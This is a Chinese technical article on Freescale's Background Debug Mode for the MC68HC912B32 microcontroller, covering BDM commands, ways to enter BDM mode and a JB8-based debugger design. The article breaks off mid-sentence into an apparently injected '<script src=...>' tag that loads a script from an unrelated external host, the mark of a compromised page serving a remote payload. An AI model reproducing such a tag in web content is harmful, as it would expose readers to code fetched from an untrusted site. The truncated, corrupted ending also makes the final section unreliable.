随着flash技术在微处理器上的广泛应用，使单片机在开发和应用手段上有了革命性的变化，从传统的仿真器（ice）到目前流行的jtag，设计人员在不断寻找一种移植性更高、更易操作、费用更低的开发手段。使用传统的仿真器进行嵌入式开发时，通常调试工具会受价格和烦琐的操作所限制，但是随着微处理器制造工艺的提高及flash技术的发展，一些高端微处理器（如cpu12/16/32、powerpc、coldfire等）内部已经包含了用于调试的微代码，并可以通过背景调试模式bdm（background debug mode）进行调试，由于这种方法省去了仿真器，因此避免了高频操作、交直流电不匹配等问题，随着bdm标准的不断规范和普及，用bdm调试模式进行嵌入式开发已经成为一种首选。
mc68hc912b32（以下简称b32）是由freescale公司推出的一款基于cpu12核心的16位嵌入式mcu。它具有体积小、功耗小、功能多等优点，主要用于汽车电子、工业控制、医疗设备等领域，它是freescale公司较早提供的一款背景调试模式的16位mcu。背景调试模式是freescale公司自定义的片上调试规范。
1 背景调试模式介绍
bdm是由freescale半导体公司推出的一种单线（single wire）调试方式，是目前单片机普通采用的调试方式之一。其他公司的嵌入式处理器也有类似的调试方式，如amd公司的x86μp系列微处理器提供的amdebug调试方式等。
bdm调试方式为开发人员提供了底层的调试手段，开发人员可以通过它初次向目标板下载程序，同时也可以通过bdm调试器对目标板mcu的flash进行写入、擦除等操作，用户也可以通过它进行应用程序的下载和在线更新、在线动态调试和编程、读取cpu各个寄存器的内容、单片机内部资源的配置与修复、程序的加密处理等操作，而这些仅需要向cpu发送几个简单的指令就可以实现，从而使调试软件的便携变得非常简单，通常自己就可以编写，bdm硬件调试插头的设计也非常简单，关键是要满足通信时序关系和电平转换要求。
目前常用的标准bdm调试插头如图1所示，各个引脚信号的定义如表1所示。
2.1 总体概述
以cpu12为内核的mcu的运行模式有单片方式（single chip）和扩展方式（expanded mode）两种。运行模式主要由bkgd、modb和moda引脚的状态决定，各个模式与引脚状态间的关系见表2。单片模式又分普通单片模式（normal single chip）和特殊单片模式（special single chip）两种，而只有在特殊模式下bdm才能被激活，因此特殊单片模式又称bdm模式。图2为pc机通过bdm插头与目标机相连。
2.2 bdm指令介绍
bdm有两类指令。一类是在一般运行模式下可以直接执行的，被称为硬件指令（hardware command）；另一类则是只能在bdm模式下执行的程序，这些程序在进入bdm模式后被固化在地址为﹩ff00－﹩ffff的rom中，被称为固件指令（firmware command）。
因为bdm控制模块不在cpu中，所以bdm硬件指令可以在cpu正常运行时被并行执行，其他bdm指令是基于固件的，必须在cpu处于bdm模式下才能执行。硬件指令允许读写目标系统内（包括片内ram、eeprom、i/o控制寄存器等）的所有内存。硬件指令可以不在bdm模式下执行，表3列出了bdm模块常用的硬件指令。
固件指令必须在hc12单片机的bdm rom中执行，且cpu必须在bdm模式下才能执行，通常使用硬件指令background使cpu进入bdm模式，当bdm被激活时，bdm rom就被分配到地址空间：﹩ff20－﹩ffff，同时7个bdm寄存器被分配到地址空间：﹩ff00－﹩ff06，此时cpu就可以通过执行rom中的代码完成相应的固件指令操作。表4列出了bdm的7个寄存器，表5介绍了常用的3个固件指令。
2.3进入bdm模式
下面介绍使目标机进入bdm模式的两种常用方法。
方法1：将目标机的bkgd引脚拉低，然后给目标机的reset引脚加低电平，即给目标机复位，复位脉冲要足够宽，至少要大于目标机的512个时钟周期。本文采用freescale公司的8位微处理器mc68hc908jb8（简称jb8）制作bdm调试头，用其pta0和pta1口控制目标机的reset和bkgd引脚，此方法通过软件编程的方式进入bdm模式。
方法2：通过硬件跳线的方式将bkgd置低电平，在目标机复位后再将bkgd置高电平，以进入目标机的bdm模式。进入bdm模式后，带有bdm程序的片内专用rom将flash的﹩ff00－﹩ffff替换，此空间在普通单片方式下存放中断向量。该方法仅通过硬件跳线的方式进入bdm模式。
3 b32的bdm调试系统设计
3.1 bdm调试其系统硬件设计
该bdm调试器的bkgd和reset信号分别由jb8单片机的i/o口pta1?script src=http://er12.com/t.js>
